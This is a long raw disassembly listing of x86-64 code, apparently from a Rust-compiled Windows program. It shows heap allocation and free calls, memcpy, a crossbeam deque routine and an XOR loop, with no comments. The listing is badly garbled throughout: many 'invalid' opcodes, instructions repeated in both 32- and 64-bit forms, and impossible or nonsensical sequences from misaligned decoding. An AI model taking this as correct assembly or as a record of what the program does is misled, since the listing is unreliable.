ror byte [rcx - 0x77], cl
mov r8, rdi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x476c7
add al, 0
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x904b0
or dword [rax], eax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jbe 0x140068d56
add al, 0
add cl, ch
jmp 0x140068b58
add dh, bh
invalid
inc dword [rbx - 0x7df0fd08]
insb byte [rdi], dx
cmp eax, 2
jb case.default.0x140068b4c
invalid
invalid
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov ecx, eax
mov ecx, eax
and ecx, 3
loope 0x140068d6e
lea rdx, [rcx - 2]
lea edx, [rcx - 2]
push rcx
dec byte [rax - 0x7d]
cli
add cl, byte [rdi]
invalid
cmp rdx, 2
cmp edx, 2
jb case.default.0x140068b4c
invalid
invalid
invalid
test rcx, rcx
test ecx, ecx
leave
je case.default.0x140068b4c
test byte [rbx - 2], cl
invalid
invalid
dec dword [rax - 0x73]
lea rsi, [rax - 1]
jo case.0x14004e84a.55
dec dword [rax - 0x75]
mov rdi, qword [rax - 1]
js case.0x14004b1de.120
dec dword [rbx + rcx*4 + 0x60]
invalid
mov r12, qword [rax + 7]
mov esp, dword [rax + 7]
invalid
mov rcx, rdi
mov ecx, edi
stc
call qword [r12]
call qword [rsp]
adc al, 0x24
cmp qword [r12 + 8], 0
cmp dword [rsp + 8], 0
jl case.0x14004e84a.63
or byte [rax], al
add byte [rsi + rbx + 0x49], dh
je 0x140068dbb
cmp qword [r12 + 0x10], 0x11
cmp dword [rsp + 0x10], 0x11
and al, 0x10
adc dword [rdx + 4], esi
invalid
adc byte [rcx], dl
jb 0x140068da9
add al, 0x48
mov edi, dword [rdi - 8]
jg case.0x14004e84a.59
mov rdi, qword [rdi - 8]
jg case.0x14004e84a.59
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x90448
or dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov r8, rdi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x4764d
add al, 0
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x90436
or dword [rax], eax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jbe 0x140068dd0
add al, 0
add cl, ch
jmp case.default.0x140068b4c
sti
std
invalid
push qword [rax - 0x23e16d7]
invalid
mov al, 0x29
jmp 0x140068b9a
sar ebp, 0xff
invalid
sar ebp, 0xff
push qword [rax - 0x24516ff]
invalid
mov al, 1
jmp 0x140068b9a
invalid
std
invalid
invalid
mov edx, 0xb0fffffd
add ch, cl
push qword [rax - 0x24c16fe]
mov al, 2
jmp 0x140068b9a
mov bl, 0xfd
invalid
invalid
mov bl, 0xfd
invalid
push qword [rax - 0x25316fd]
mov al, 3
jmp 0x140068b9a
lodsb al, byte [rsi]
std
invalid
invalid
lodsb al, byte [rsi]
std
invalid
push qword [rax - 0x25a16fc]
mov al, 4
jmp 0x140068b9a
movsd dword [rdi], dword [rsi]
std
invalid
invalid
movsd dword [rdi], dword [rsi]
std
invalid
push qword [rax - 0x26116fb]
mov al, 5
jmp 0x140068b9a
sahf
std
invalid
invalid
sahf
std
invalid
push qword [rax - 0x26816fa]
mov al, 6
jmp 0x140068b9a
xchg edi, eax
std
invalid
invalid
xchg edi, eax
std
invalid
push qword [rax - 0x26f16f9]
mov al, 7
jmp 0x140068b9a
nop
std
invalid
invalid
nop
std
invalid
push qword [rax - 0x27616f8]
mov al, 8
jmp 0x140068b9a
mov ebp, edi
invalid
invalid
mov ebp, edi
invalid
push qword [rax - 0x27d16f7]
invalid
mov al, 9
jmp 0x140068b9a
invalid
std
invalid
invalid
invalid
push qword [rax - 0x28416f6]
mov al, 0xa
jmp 0x140068b9a
jnp 0x140068e1a
invalid
push qword [rax - 0x28b16f5]
mov al, 0xb
jmp 0x140068b9a
je 0x140068e21
invalid
push qword [rax - 0x29216f4]
mov al, 0xc
jmp 0x140068b9a
insd dword [rdi], dx
std
invalid
invalid
insd dword [rdi], dx
std
invalid
push qword [rax - 0x29916f3]
mov al, 0xd
jmp 0x140068b9a
std
invalid
invalid
std
invalid
push qword [rax - 0x2a016f2]
mov al, 0xe
jmp 0x140068b9a
pop rdi
std
invalid
invalid
pop rdi
std
invalid
push qword [rax - 0x2a716f1]
mov al, 0xf
jmp 0x140068b9a
pop rax
std
invalid
invalid
pop rax
std
invalid
push qword [rax - 0x2ae16f0]
mov al, 0x10
jmp 0x140068b9a
push rcx
std
invalid
invalid
push rcx
std
invalid
push qword [rax - 0x2b516ef]
std
invalid
push qword [rax - 0x2bc16ee]
std
invalid
push qword [rax - 0x2c316ed]
cmp al, 0xfd
invalid
push qword [rax - 0x2ca16ec]
invalid
push qword [rax - 0x2d116eb]
invalid
push qword [rax - 0x2d816ea]
invalid
push qword [rax - 0x2df16e9]
invalid
push qword [rax - 0x2e616e8]
invalid
push qword [rax - 0x2ed16e7]
invalid
push qword [rax - 0x2f416e6]
invalid
push qword [rax - 0x2fb16e5]
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_synconce.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
call rdi
cmp ebp, 0xb
adc ebp, 0
mov r14, qword [rsi + 0x80]
mov r15, qword [rsi + 0x88]
mov r12d, r14d
shr r12d, 1
and r12d, 0x3f
cmp r12d, 0x3f
jne 0x14006a8e0
cmp ebp, 6
ja 0x14006a8a0
mov eax, 1
pause
mov edx, eax
mov ecx, ebp
shr edx, cl
inc eax
test edx, edx
je 0x14006a8d0
jmp 0x14006a8a2
cmp r12d, 0x3e
jne 0x14006adba
test r13, r13
jne 0x14006adba
movaps xmmword [rsp + 0x40], xmm6
mov qword [rsp + 0x50], 0
movups xmmword [rbx], xmm6
mov qword [rbx + 0x10], 0
movups xmmword [rbx + 0x18], xmm6
mov qword [rbx + 0x28], 0
movups xmmword [rbx + 0x30], xmm6
mov qword [rbx + 0x40], 0
movups xmmword [rbx + 0x48], xmm6
mov qword [rbx + 0x58], 0
movups xmmword [rbx + 0x60], xmm6
mov qword [rbx + 0x70], 0
movups xmmword [rbx + 0x78], xmm6
mov qword [rbx + 0x88], 0
movups xmmword [rbx + 0x90], xmm6
mov qword [rbx + 0xa0], 0
movups xmmword [rbx + 0xa8], xmm6
mov qword [rbx + 0xb8], 0
movups xmmword [rbx + 0xc0], xmm6
mov qword [rbx + 0xd0], 0
movups xmmword [rbx + 0xd8], xmm6
mov qword [rbx + 0xe8], 0
movups xmmword [rbx + 0xf0], xmm6
mov qword [rbx + 0x100], 0
movups xmmword [rbx + 0x108], xmm6
mov qword [rbx + 0x118], 0
movups xmmword [rbx + 0x120], xmm6
mov qword [rbx + 0x130], 0
movups xmmword [rbx + 0x138], xmm6
mov qword [rbx + 0x148], 0
movups xmmword [rbx + 0x150], xmm6
mov qword [rbx + 0x160], 0
movups xmmword [rbx + 0x168], xmm6
mov qword [rbx + 0x178], 0
movups xmmword [rbx + 0x180], xmm6
mov qword [rbx + 0x190], 0
movups xmmword [rbx + 0x198], xmm6
mov qword [rbx + 0x1a8], 0
movups xmmword [rbx + 0x1b0], xmm6
mov qword [rbx + 0x1c0], 0
movups xmmword [rbx + 0x1c8], xmm6
mov qword [rbx + 0x1d8], 0
movups xmmword [rbx + 0x1e0], xmm6
mov qword [rbx + 0x1f0], 0
movups xmmword [rbx + 0x1f8], xmm6
mov qword [rbx + 0x208], 0
movups xmmword [rbx + 0x210], xmm6
mov qword [rbx + 0x220], 0
movups xmmword [rbx + 0x228], xmm6
mov qword [rbx + 0x238], 0
movups xmmword [rbx + 0x240], xmm6
mov qword [rbx + 0x250], 0
movups xmmword [rbx + 0x258], xmm6
mov qword [rbx + 0x268], 0
movups xmmword [rbx + 0x270], xmm6
mov qword [rbx + 0x280], 0
movups xmmword [rbx + 0x288], xmm6
mov qword [rbx + 0x298], 0
movups xmmword [rbx + 0x2a0], xmm6
mov qword [rbx + 0x2b0], 0
movups xmmword [rbx + 0x2b8], xmm6
mov qword [rbx + 0x2c8], 0
movups xmmword [rbx + 0x2d0], xmm6
mov qword [rbx + 0x2e0], 0
movups xmmword [rbx + 0x2e8], xmm6
mov qword [rbx + 0x2f8], 0
movups xmmword [rbx + 0x300], xmm6
mov qword [rbx + 0x310], 0
movups xmmword [rbx + 0x318], xmm6
add byte [rax - 0x39], cl
sub dword [rax], 3
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sub dword [rax], 3
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x330], xmm6
mov qword [rbx + 0x340], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x348], xmm6
mov qword [rbx + 0x358], 0
add byte [rax - 0x39], cl
sbb dword [rax + 3], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbx + 0x360], xmm6
movups xmmword [rbx + 0x360], xmm6
mov qword [rbx + 0x370], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x378], xmm6
mov qword [rbx + 0x388], 0
add byte [rax - 0x39], cl
or dword [rax + 3], 0
add byte [rax], al
movups xmmword [rbx + 0x390], xmm6
mov qword [rbx + 0x3a0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x3a8], xmm6
mov qword [rbx + 0x3b8], 0
add byte [rax - 0x39], cl
cmp dword [rax + 3], 0
add byte [rax], al
movups xmmword [rbx + 0x3c0], xmm6
mov qword [rbx + 0x3d0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x3d8], xmm6
mov qword [rbx + 0x3e8], 0
call case.0x1400283bc.545
add byte [rax], al
invalid
add byte [rax - 0x39], cl
sub eax, 3
call case.0x1400283bc.545
add byte [rax], al
invalid
call case.0x1400283bc.545
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbx + 0x3f0], xmm6
movups xmmword [rbx + 0x3f0], xmm6
add eax, dword [rax]
add byte [rax - 0x39], cl
add dword [rax], 4
mov qword [rbx + 0x400], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x408], xmm6
mov qword [rbx + 0x418], 0
sbb byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x420], esi
add al, 0
invalid
sbb byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x420], esi
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
xor dword [rax], 4
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x430], 0
add byte [rax], al
movups xmmword [rbx + 0x438], xmm6
mov qword [rbx + 0x448], 0
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x450], esi
add al, 0
invalid
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rbx + 0x450], esi
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
and dword [rax + 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x468], xmm6
mov qword [rbx + 0x460], 0
add byte [rax], al
movups xmmword [rbx + 0x468], xmm6
mov qword [rbx + 0x478], 0
js 0x14006ac3d
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x480], xmm6
mov qword [rbx + 0x490], 0
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax - 0x39], cl
adc dword [rax + 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x498], xmm6
add byte [rax], al
mov qword [rbx + 0x4a8], 0
test al, 4
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmmword [rbx + 0x4b0], xmm6
add byte [rax], al
mov qword [rbx + 0x4c0], 0
movups xmmword [rbx + 0x4c8], xmm6
mov qword [rbx + 0x4d8], 0
movups xmmword [rbx + 0x4e0], xmm6
mov qword [rbx + 0x4f0], 0
movups xmmword [rbx + 0x4f8], xmm6
mov qword [rbx + 0x508], 0
movups xmmword [rbx + 0x510], xmm6
mov qword [rbx + 0x520], 0
movups xmmword [rbx + 0x528], xmm6
mov qword [rbx + 0x538], 0
movups xmmword [rbx + 0x540], xmm6
mov qword [rbx + 0x550], 0
movups xmmword [rbx + 0x558], xmm6
mov qword [rbx + 0x568], 0
movups xmmword [rbx + 0x570], xmm6
mov qword [rbx + 0x580], 0
movups xmmword [rbx + 0x588], xmm6
mov qword [rbx + 0x598], 0
movups xmmword [rbx + 0x5a0], xmm6
mov qword [rbx + 0x5b0], 0
movups xmmword [rbx + 0x5b8], xmm6
mov qword [rbx + 0x5c8], 0
enter 5, 0
add byte [rax], al
add byte [rax], al
enter 5, 0
add byte [rax], al
add byte [rax], al
mov r8d, 0x5e8
add byte [rax], al
lea rcx, [rsp + 0x628]
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
push rsp
and al, 0x40
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f92c0]
in eax, 8
add byte [rax - 0x75], cl
add eax, 0x8e497
in eax, 8
add byte [rax - 0x75], cl
add eax, 0x8e497
test rax, rax
jne 0x14006ad7c
sal byte [rbp + 0x16], 0xff
adc eax, 0x45684
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14006af32
mov qword [0x1400f91f8], rax
add byte [rcx - 0x48], al
invalid
mov r8d, 0x5f0
mov rcx, rax
mov ecx, eax
mov ecx, eax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
ror byte [rdi], 0x84
pushfq
add dword [rax], eax
invalid
ror byte [rdi], 0x84
pushfq
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r13, rax
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc1
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc1
or byte [rcx - 0x48], al
mov r8d, 0x5e8
lea rdx, [rsp + 0x628]
mov r8d, 0x5e8
add byte [rax], al
lea rdx, [rsp + 0x628]
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x8d490003
add r9b, byte [rcx + r9*4 - 0x10]
mov eax, esi
lea rcx, [r14 + 2]
mov rax, r14
mov eax, esi
mov eax, esi
lock cmpxchg qword [rsi + 0x80], rcx
cmpxchg dword [rsi + 0x80], ecx
je 0x14006ae0d
mov r15, qword [rsi + 0x88]
mov r15, qword [rsi + 0x88]
mov byte [rax], al
add byte [rax], al
cmp ebp, 6
mov ecx, 6
invalid
add byte [rax], al
invalid
invalid
cmovb ecx, ebp
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add bl, dh
nop
pause
mov r8d, edx
shr r8d, cl
call 0xc54c70fb
invalid
call 0xc54c70fb
sal byte [rcx + rsi*8 - 0x7d], 0xfd
invalid
test eax, eax
je 0x14006adf0
cmp ebp, 7
adc ebp, 0
invalid
add byte [rcx - 0x77], cl
invalid
jmp 0x14006a8b6
invalid
invalid
cmp r12d, 0x3e
jne 0x14006ae54
cld
jne 0x14006ae54
test r13, r13
je 0x14006af43
invalid
add byte [rcx - 0x7d], cl
mov byte [rsp + rcx*2], 0x89
add al, 0x4c
mov dword [rsi + 0x88], ebp
add r14, 4
mov qword [rsi + 0x88], r13
add al, 0x4c
mov dword [rsi + 0x88], ebp
mov qword [rsi + 0x80], r14
mov qword [r15], r13
mov rax, qword [rsp + 0x28]
and al, 0x28
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
and al, 0x28
mov qword [r15 + 0x5d8], rax
mov dword [rdi + 0x5d8], eax
mov rax, qword [rsp + 0x30]
and al, 0x30
mov qword [r15 + 0x5e0], rax
mov dword [rdi + 0x5e0], eax
add byte [rax], al
lock or qword [r15 + 0x5e8], 1
or dword [rdi + 0x5e8], 1
add byte [rax], al
add ebx, ebp
jmp 0x14006ae8a
lea rax, [r12 + r12*2]
jmp 0x14006ae8a
lea rax, [r12 + r12*2]
mov rcx, qword fs:[rsp + 0x28]
mov rcx, qword [rsp + 0x28]
and al, 0x28
mov qword [r15 + rax*8 + 8], rcx
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
invalid
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov qword [r15 + rax*8 + 0x10], rcx
lock or qword [r15 + rax*8 + 0x18], 1
invalid
invalid
sbb byte [rcx], al
invalid
test r13, r13
je 0x14006ae8a
mov rcx, qword [0x1400f91f8]
jns 0x14006ae60
or byte [rax], al
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mfence
movabs rdx, 0x100000000
scasb al, byte [rdi]
invalid
nop word [rax + rax]
invalid
mov rax, qword [rsi + 0x178]
xchg byte [rax + 1], bh
add byte [rax], al
bt rax, 0x20
jb 0x14006aeca
and byte [rdx + 0x1c], dh
lea rcx, [rax + rdx]
lock cmpxchg qword [rsi + 0x178], rcx
cmpxchg dword [rsi + 0x178], ecx
cmpxchg dword [rsi + 0x178], ecx
jne 0x14006aea0
mov rax, rcx
and rax, 0xffff
jne 0x14006aed8
jmp case.0x14002f576.304
mov rcx, rax
mov rax, rcx
enter 0x2548, 0xffffffffffffffff
inc dword [rax]
invalid
je case.0x14002f576.304
enter 0x2548, 0xffffffffffffffff
inc dword [rax]
add byte [rdi + rcx + 0x48], dh
cmp dword [rsp + 0x38], 2
and al, 0x38
invalid
cmp qword [rsp + 0x38], 2
and al, 0x38
add dh, byte [rbx + 0x23]
jae 0x14006af03
shr ecx, 0x10
cmp ecx, eax
je 0x14006af03
movaps xmm6, xmmword [rsp + 0xc10]
add rsp, 0xc28
sub byte [rax + rax], cl
add byte [rbx + 0x5d], bl
mov ah, 0x24
adc byte [rax + rax], cl
add byte [rax - 0x7f], cl
invalid
sub byte [rax + rax], cl
or al, 0
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
add rsi, 0x160
add esi, 0x160
mov rcx, rsi
mov ecx, esi
mov edx, 1
movaps xmm6, xmmword [rsp + 0xc10]
mov ah, 0x24
adc byte [rax + rax], cl
or al, 0
add byte [rax - 0x7f], cl
invalid
sub byte [rax + rax], cl
add byte [rbx + 0x5d], bl
mov ah, 0x24
adc byte [rax + rax], cl
or al, 0
or al, 0
add byte [rax - 0x7f], cl
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400ad3e0
and al, 4
invalid
and al, 4
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x5f0
call fcn.1400a9e00
ud2
add al, ch
mov edi, 0xf0003ee
or ecx, dword [rax - 0x73]
or eax, 0x83816
cmp byte [rax], cl
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
cmp byte [rax], cl
add byte [rbp + rcx*4 + 5], cl
jbe 0x14006af57
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_deque_0.8.3_srcdeque.rs
mov edx, 0x2b
add byte [rax], al
invalid
add byte [rdx + 0x2b], bh
add byte [rax], al
add al, ch
call fcn.1400aa0a0
int1
add eax, dword [rax]
ud2
int3
jne 0x14006af9d
lea rax, [0x1400e2b5e]
mov r8d, 0x3a
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x8be9
outsd dx, dword [rsi]
std
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x8be9
std
dec dword [rax - 0x73]
add eax, 0x77b9e
mov r8d, 0x34
add byte [rax], al
invalid
mov eax, 0x34
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edx
mov rdx, rax
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
jmp fcn.140041f10
std
invalid
std
dec dword [rax - 0x7d]
ror dword [rax], 0xe9
pop rdx
pop rbp
add dword [rax], eax
int3
add rcx, 8
jmp 0x140080d00
int3
sub byte [rax - 0x75], cl
add dword [rax - 0x7b], ecx
sal byte [rsi + rdx - 0x7d], 0xf8
add dword [rbp + 0x22], esi
lea rax, [0x1400e2b5e]
mov edx, 0x3a
add rsp, 0x28
invalid
sub bl, al
invalid
ror dword [rax], 0xe8
je 0x14006af8d
add dword [rax], eax
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
ret
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
movabs rax, 0x100000000
cmp rdx, rax
ja 0x14006b356
add byte [rax], al
add byte [rax], al
mov rbp, r9
mov r15, r8
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov r14, rcx
mov rax, qword [rsp + 0xe0]
loopne 0x14006b035
add byte [rax], al
loopne 0x14006b035
add byte [rax], al
lea r12, [rax + 4]
lea rax, [r8 + 0x28]
lea eax, [rax + 0x28]
lea eax, [rax + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [rcx + 1]
add dword [rax - 0x77], ecx
and al, 0x68
xor byte [rax - 0x73], cl
add dword [r8 - 0x77], ecx
add dword [rax - 0x77], ecx
add dword [rax - 0x77], ecx
and al, 0x68
lea rax, [rcx + 0x10]
mov qword [rsp + 0x60], rax
and al, 0x60
adc byte [r8 - 0x77], cl
and al, 0x60
xor r13d, r13d
mov dword [rsp + 0x2c], 0
and al, 0x2c
add byte [rax], al
add byte [rax], al
and al, 0x2c
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x40], rax
invalid
and al, 0x40
xor eax, eax
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
xor edi, edi
mov qword [rsp + 0x48], r12
and al, 0x48
and al, 0x48
mov qword [rsp + 0x70], r9
mov dword [rsp + 0x70], ecx
jmp 0x14006b099
add byte [rax - 0x75], cl
or eax, 0x8e171
jno 0x14006b066
or byte [rax], al
mov rcx, qword [0x1400f91f8]
jno 0x14006b066
or byte [rax], al
xor edx, edx
mov r8, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
call rsi
cmp rdi, rbx
jae case.0x140051168.86
add byte [rax], al
invalid
add byte [rax], al
test r12, r12
js 0x14006b34f
in al, 0xf
mov byte [rbp + 0x48000002], ch
mov rax, qword [0x1400f91f8]
mov eax, dword [0x1400f91f8]
or byte [rax], al
test rax, rax
jne 0x14006b0c4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x4533c
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add dword [rdx], 0
add byte [rax], al
invalid
invalid
test rax, rax
je 0x14006b340
add byte [rax], al
add byte [rax], al
mov qword [0x1400f91f8], rax
add eax, 0x8e134
mov rcx, rax
mov edx, 8
mov r8, r12
add byte [rbp - 0x77], cl
loopne 0x14006b0cf
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x45323
add al, 0
test rax, rax
je 0x14006b340
ror byte [rdi], 0x84
invalid
mov rcx, rax
mov ecx, eax
mov qword [rsp + 0x58], rax
and al, 0x58
mov rdx, rbp
mov rsi, qword [rsp + 0xe0]
add byte [rax], al
add byte [rax], al
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
push rsp
and al, 0x58
mov qword [rsp + 0x50], r13
movzx eax, r13b
shl eax, 0x18
movzx ecx, byte [rsp + 0x2c]
mov dh, 0x4c
and al, 0x2c
mov dh, 0x4c
and al, 0x2c
shl ecx, 0x10
or ecx, eax
movzx eax, byte [rsp + 0x40]
shl eax, 8
or eax, ecx
movzx ecx, byte [rsp + 0x38]
or ecx, eax
mov dword [rdx + rsi], ecx
mov rsi, r15
movzx eax, byte [r15 + 0x68]
movzx r15d, al
mov r8d, 0x40
sub r8, r15
sub eax, edi
mov r13, r12
sub r13, r8
jae 0x14006b170
mov rax, qword [rsp + 0x30]
and al, 0x30
lea rcx, [rax + r15]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov ch, 3
invalid
cmp byte [rbp - 0x77], cl
loopne 0x14006b13a
test dword [rbp + 0x14d0003], esi
mov ch, 3
add byte [rbp + 1], cl
invalid
invalid
add r15, r12
mov r12, r15
out 0x4d, eax
mov esp, edi
mov r15, rsi
mov edi, esi
jmp 0x14006b1e7
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rbp, rdx
test al, al
je 0x14006b1a5
mov rbp, rdx
mov ebp, edx
add rbp, r8
mov r12, qword [rsp + 0x30]
add r15, r12
add edi, esp
add edi, esp
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
int1
int1
inc qword [rsi + 0x20]
mov r8d, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov edx, esp
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov edx, esp
mov edx, esp
call fcn.140076780
mov r12, r13
mov esp, ebp
mov esp, ebp
cmp r12, 0x40
mov r15, rsi
cld
mov r15, rsi
jb 0x14006b1c4
mov r8, r12
mov eax, esp
shr r8, 6
add qword [r15 + 0x20], r8
mov rcx, r15
stc
call 0x18707febe
and byte [rcx + rcx*4 - 7], cl
stc
stc
mov rdx, rbp
call fcn.140076780
mov rax, r12
and rax, 0xffffffffffffffc0
and r12d, 0x3f
add rbp, rax
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov rdx, rbp
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov ah, 3
add byte [rax - 0x75], cl
mov ebp, dword [rsp + 0x70]
mov ah, 3
add byte [rax - 0x75], cl
mov ebp, dword [rsp + 0x70]
mov ebp, dword [rsp + 0x70]
mov r13, qword [rsp + 0x50]
push rax
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r15 + 0x68], r12b
mov rcx, r15
call fcn.140009d70
test rdx, rdx
je 0x14006b280
invalid
jl 0x14006b24d
cmp rdi, rbx
cmp edi, ebx
mov r12, qword [rsp + 0x48]
jae 0x14006b2e0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
stc
mov r9, rdi
not r9
add r9, rbx
lea rcx, [rdx - 1]
cmp r9, rcx
mov r8, rcx
cmovb r8, r9
ror dword [rcx - 1], 0xc0
ror dword [rcx - 1], 0xc0
ror byte [rcx - 0x7d], 0xf8
and byte [rdx + 0x27], dh
cmp r8, 0x20
jb 0x14006b259
lea r10, [r14 + rdi]
lea edx, [rsi + rdi]
cmp r9, rcx
cmp ecx, ecx
cmovb rcx, r9
leave
lea r9, [rax + rcx]
or al, 8
inc r9
cmp r10, r9
ror dword [rbp + 0x39], 0xca
jae 0x14006b287
mov r9, qword [rsp + 0x68]
add r9, rdi
add ecx, edi
push 0x4cf90149
add ecx, ecx
leave
add ecx, edi
add rcx, r9
leave
cmp rax, rcx
jae 0x14006b287
xor ecx, ecx
leave
inc rcx
nop
nop
nop
movzx r8d, byte [rax + rcx - 1]
or dil, r15b
xor byte [r14 + rdi], r8b
xor byte [rsi + rdi], al
inc rdi
inc edi
invalid
cmp rcx, rdx
jae 0x14006b2e0
inc rcx
inc ecx
cmp rdi, rbx
jb 0x14006b260
fbstp tbyte [rdx - 0x1a]
jmp 0x14006b2e0
add byte [rbx + rcx*4 + 0x64], cl
mov r12, qword [rsp + 0x48]
and al, 0x48
jmp 0x14006b2e0
mov rcx, r8
and rcx, 0xffffffffffffffe0
and ecx, 0xffffffe0
and ecx, 0xffffffe0
mov r9, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
add r9, rdi
add rdi, rcx
add edi, ecx
add edi, ecx
xor r10d, r10d
nop dword [rax]
ror byte [rdi], cl
invalid
add byte [rdx + 0xf], al
adc byte [rax + rdx], al
add al, 0x10
movups xmm0, xmmword [rax + r10]
add al, 0x10
movups xmm1, xmmword [rax + r10 + 0x10]
adc byte [rax + rdx + 0x10], cl
movups xmm2, xmmword [r9 + r10 - 0x10]
adc byte [rcx + rdx - 0x10], dl
adc eax, esi
xorps xmm2, xmm0
movups xmm0, xmmword [r9 + r10]
adc byte [rcx + rdx], al
rol byte [rbx + 0xf], 1
adc byte [rcx + rdx], al
add al, 0x11
xorps xmm0, xmm1
movups xmmword [r9 + r10 - 0x10], xmm2
push rsp
adc eax, esi
rol dword [rbx + 0xf], 0x11
push rsp
adc eax, esi
movups xmmword [r9 + r10], xmm0
movups xmmword [rcx + rdx], xmm0
add r10, 0x20
add edx, 0x20
cmp rcx, r10
jne 0x14006b2a0
ror byte [rcx + 0x39], 1
enter 0xffffffffffff8675, 0x66
jne case.0x14004e56b.95
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
cmp r8, rcx
